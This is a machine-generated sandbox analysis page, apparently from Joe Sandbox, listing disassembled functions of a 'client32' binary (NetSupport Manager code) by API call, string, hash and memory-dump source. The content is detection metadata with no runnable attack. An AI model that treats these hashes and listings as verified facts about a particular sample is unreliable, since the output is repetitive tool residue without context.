!"NOT IMPLEMENTED", xrefs: 110196CA
..\NsAppSystem\NsAsApplicationObjects\Client32\NsAsMetroClientManager.cpp, xrefs: 110196C5

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_
String ID: !"NOT IMPLEMENTED"$..\NsAppSystem\NsAsApplicationObjects\Client32\NsAsMetroClientManager.cpp$vector<T> too long
API String ID: 909987262-1355409292
Opcode ID: d87c083aec0ae9037ab654dc61d70b8012f9b8a43bc405ad0ad5b6ebd6bfac61
Instruction ID: 438e451cb70dd1c72efd7501f0ab98eb26d93f4da065d7170961cfbefb2eaf2c
Opcode Fuzzy Hash: d87c083aec0ae9037ab654dc61d70b8012f9b8a43bc405ad0ad5b6ebd6bfac61
Instruction Fuzzy Hash: 6041A775F006064BCB1CCF68CC919AEB7E5E788619B144F3ED817D7688F634E901C661

Function 11041470 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 123COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 110415C2
__CxxThrowException@8.LIBCMT ref: 110415D0

Strings

Info. Set Volume, Locked %d, Volume %d, Max volume %d, xrefs: 11041522
d, xrefs: 110415D8

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception
String ID: Info. Set Volume, Locked %d, Volume %d, Max volume %d$d
API String ID: 3728558374-2833518301
Opcode ID: 2d3c5753cfcd35abeb2b38ece45fb291adc93ba9b22e4e0b0cc3dc539a5c0659
Instruction ID: ed9d0dea6f5f9d8371ff7772f9706d7f17cf0ebfa83a5406c0ffc32767b54f24
Opcode Fuzzy Hash: 2d3c5753cfcd35abeb2b38ece45fb291adc93ba9b22e4e0b0cc3dc539a5c0659
Instruction Fuzzy Hash: A541D3B5E0060ADFCB04DF94C890AFEF7B9FF48714F248259E416A7650EB346A45CBA0

Function 11117000 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 1111701F
DeleteObject.GDI32(00000000), ref: 11117143
GetTickCount.KERNEL32 ref: 11117159

Strings

BltPending skipping Blt, sinceUpdate=%d ms, sinceBlt=%d ms, from=%s, xrefs: 1111706E

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountTick$DeleteObject
String ID: BltPending skipping Blt, sinceUpdate=%d ms, sinceBlt=%d ms, from=%s
API String ID: 3011517232-3209293507
Opcode ID: 3804ad2b8b8d45a3881d6a1d8f9e7176cbf39d2a15b6b3a9b1851c2b4258d80b
Instruction ID: 71694b1901628e7c3f0e0f97bec8b89b6520565b9ddb22d4603e25af3e6b7442
Opcode Fuzzy Hash: 3804ad2b8b8d45a3881d6a1d8f9e7176cbf39d2a15b6b3a9b1851c2b4258d80b
Instruction Fuzzy Hash: 62414F75A00F058FD724CF79CD856ABF7E1FF84219F104A3ED56A9A244EB3565418F00

Function 11077200 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 109COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000F0), ref: 11077241
CopyRect.USER32(?,00000004), ref: 1107726F

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11077229
m_hWnd, xrefs: 1107722E

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CopyErrorExitLastLongMessageProcessRectWindowwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 2755825785-2830328467
Opcode ID: 52b039dbae3ac474573174c2f07e54e0dc35dacba2b0f62a005c55ea2bccfa41
Instruction ID: de278a2cd4c0b5f0839ddad857aefe36ed68345845b5ae66c69d21e7740d687e
Opcode Fuzzy Hash: 52b039dbae3ac474573174c2f07e54e0dc35dacba2b0f62a005c55ea2bccfa41
Instruction Fuzzy Hash: 3841A331E00A06DBCB14CE68C9C8A5EF7F1FF84344F10C569E86597644EB30E941CB58

Function 11031490 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 104COMMON

Download Yara Rule

Strings

Exit Win10 Start screen (%s), xrefs: 110314E6
Error. WindowsD not generated, xrefs: 11031592
Error. ExitMetro code cannot init kbfilter, xrefs: 11031579

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseHandle_memset$ClassCodeCursorExitFromNameObjectOpenPointProcessSingleVersionWaitWindow_strncpywsprintf
String ID: Error. ExitMetro code cannot init kbfilter$Error. WindowsD not generated$Exit Win10 Start screen (%s)
API String ID: 2171401249-3225996774
Opcode ID: 62f961d9fac91cbabdff2b102d703fb8ceba0662e6fd2ba6f82ae67eccb203d8
Instruction ID: ccd051d7305efa45e343e075a4b0b177443abffe8ba45bd3bfa9cf8fd8a66105
Opcode Fuzzy Hash: 62f961d9fac91cbabdff2b102d703fb8ceba0662e6fd2ba6f82ae67eccb203d8
Instruction Fuzzy Hash: 5031E87AE18619DFEB11CFA4AC017ADB7B4DB48A19F0442AADC26536C0EB316904C7D1

Function 1109B5F0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 103COMMON

Download Yara Rule

APIs

Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

std::exception::exception.LIBCMT ref: 1109B671
__CxxThrowException@8.LIBCMT ref: 1109B686

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

IsA(), xrefs: 1109B651, 1109B6CF
..\CTL32\IEFavourites.cpp, xrefs: 1109B64C, 1109B6CA

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf$ErrorException@8ExitLastMessageProcessThrow_malloc_memsetstd::exception::exception
String ID: ..\CTL32\IEFavourites.cpp$IsA()
API String ID: 718578146-3791668299
Opcode ID: fc21dcdb6ffeba61cbd6f2c5d28e25d0cd18af64b2fb39d35a095f5ac3d38a21
Instruction ID: a25e5e8df4ba3542d3730a7f5bbf6fd392d61f4fcc93709a443f3569d7e07fc3
Opcode Fuzzy Hash: fc21dcdb6ffeba61cbd6f2c5d28e25d0cd18af64b2fb39d35a095f5ac3d38a21
Instruction Fuzzy Hash: 2231E6B5D0461AABC710CF99DC80B9EFBF8FF18214F80856EE959A7340E7756504CB90

Function 11059760 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 103COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 11059786
GetTickCount.KERNEL32 ref: 11059816
GetTickCount.KERNEL32 ref: 1105982A

Strings

Stop reconn to %s, xrefs: 11059839

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountTick
String ID: Stop reconn to %s
API String ID: 536389180-2663412807
Opcode ID: aae6b297b8c7916bcbe50019fe196bd0f541e6307e3a713ee4deb62ca464ceb8
Instruction ID: 8acbe8f22c4af59d4f8e944e94e0264762def9f03065f5921db6513219838372
Opcode Fuzzy Hash: aae6b297b8c7916bcbe50019fe196bd0f541e6307e3a713ee4deb62ca464ceb8
Instruction Fuzzy Hash: 78318335E002099FDB60CF79C980A6AB7F9FF89314F1046AED45AC7684EB31E944CB50

Function 110D1090 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 82COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 110D1128

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

IsA(), xrefs: 110D10AC, 110D1153
..\CTL32\NSMString.cpp, xrefs: 110D10A7, 110D10DA, 110D114E
cchLen<=0 || cchLen<=(int) _tcslen(pszStr), xrefs: 110D10DF

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitLastMessageProcess_memmovewsprintf
String ID: ..\CTL32\NSMString.cpp$IsA()$cchLen<=0 || cchLen<=(int) _tcslen(pszStr)
API String ID: 1528188558-323366856
Opcode ID: 68b70f9a2bf70a58353feb4a735461465b776518e9ae676a20bb0fc5dc14d86d
Instruction ID: cd45fd8f54c028a965d30ceca3f2b81ac61ec80aecbdd09916459db7febd3670
Opcode Fuzzy Hash: 68b70f9a2bf70a58353feb4a735461465b776518e9ae676a20bb0fc5dc14d86d
Instruction Fuzzy Hash: AE21263EB003476BDB11DE69EC50F9BB7D99FC528CB108498F98887301EE72F4058294

Function 11049640 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

Part of subcall function 110ECA90: IsWindow.USER32(0000070B), ref: 110ECA9D
Part of subcall function 110ECA90: SendMessageA.USER32(0000070B,0000045F,0000070B,00000000), ref: 110ECAD4
Part of subcall function 110ECA90: SendMessageA.USER32(0000070B,0000044B,00000000,?), ref: 110ECB06

LoadCursorA.USER32(00000000,00007F00), ref: 110496FE
SetCursor.USER32(00000000), ref: 11049705

Part of subcall function 11144BD0: GetModuleFileNameA.KERNEL32(00000000,?,00000104,11194AB8), ref: 11144C3D
Part of subcall function 11144BD0: SHGetFolderPathA.SHFOLDER(00000000,00000026,00000000,00000000,?,1110F4CB), ref: 11144C7E
Part of subcall function 11144BD0: SHGetFolderPathA.SHFOLDER(00000000,0000001A,00000000,00000000,?), ref: 11144CDB

Strings

nsmexec.exe, xrefs: 110496B3
"%s%s" %s, xrefs: 110496C3

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CursorFolderMessagePathSend$FileLoadModuleNameWindow
String ID: "%s%s" %s$nsmexec.exe
API String ID: 3894576003-3170401571
Opcode ID: 779bfdace7f5841e7d23481dfbcacb01516c4f92a642df6ba432abaa3de3d541
Instruction ID: f42932a1cd0d7f5c398cde3da9c5cba293413b1f3726e8dd808e29983910ad54
Opcode Fuzzy Hash: 779bfdace7f5841e7d23481dfbcacb01516c4f92a642df6ba432abaa3de3d541
Instruction Fuzzy Hash: 38210471D04215EFE701CF55CC81F9AF7A8FB44728F108175E82497640E77AA614CBA2

Function 11031720 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(59FD48C0,00000000,00000006,59FD48C0,1117DECB,000000FF,?,11066BE8,NSMWClass,59FD48C0,?,1106EA58), ref: 1103175A
__strdup.LIBCMT ref: 110317A5

Part of subcall function 11031660: LoadLibraryA.KERNEL32(Kernel32.dll,59FD48C0,?,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 11031692
Part of subcall function 11031660: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,1117F5B8,000000FF,?,1103176B), ref: 110316D0
Part of subcall function 11031660: GetProcAddress.KERNEL32(00000000,ProcessIdToSessionId), ref: 110316DE
Part of subcall function 11031660: FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00000000,1117F5B8,000000FF,?,1103176B), ref: 11031704

Strings

NSMWClassVista, xrefs: 1103179F, 110317A4, 110317C8
NSMWClass, xrefs: 1103176F

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Library$AddressCurrentFreeLoadProcProcessVersion__strdup
String ID: NSMWClass$NSMWClassVista
API String ID: 319803333-889775840
Opcode ID: 4c9b37b807482a264d938b028bcae5bdead3c3a392ed8a72fe7c5f11a81d2b87
Instruction ID: 94daa849741b83d34ebdec6600d8a815dd2e8c1c2b198c9f7830c00fb7d7c227
Opcode Fuzzy Hash: 4c9b37b807482a264d938b028bcae5bdead3c3a392ed8a72fe7c5f11a81d2b87
Instruction Fuzzy Hash: 5A210576E242895FD712CF3989407AAFBFABF99625F084669E855C7780FB369408C340

Function 110893D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 65libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,0000000E), ref: 1115FFD1

Part of subcall function 1115FE60: RegOpenKeyExA.ADVAPI32(80000000,CLSID\{ADB880A6-D8FF-11CF-9377-00AA003B7A11}\InprocServer32,00000000,00020019,?,?), ref: 1115FE98
Part of subcall function 1115FE60: RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,?,?,?), ref: 1115FED9
Part of subcall function 1115FE60: ExpandEnvironmentStringsA.KERNEL32(?,?,00000104), ref: 1115FEFD
Part of subcall function 1115FE60: RegCloseKey.ADVAPI32(?), ref: 1115FF2A

LoadLibraryA.KERNEL32(?,?,?,?,?), ref: 1115FF93
LoadLibraryA.KERNEL32(hhctrl.ocx,?,?,?,?), ref: 1115FFA9

Strings

hhctrl.ocx, xrefs: 1115FFA4

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
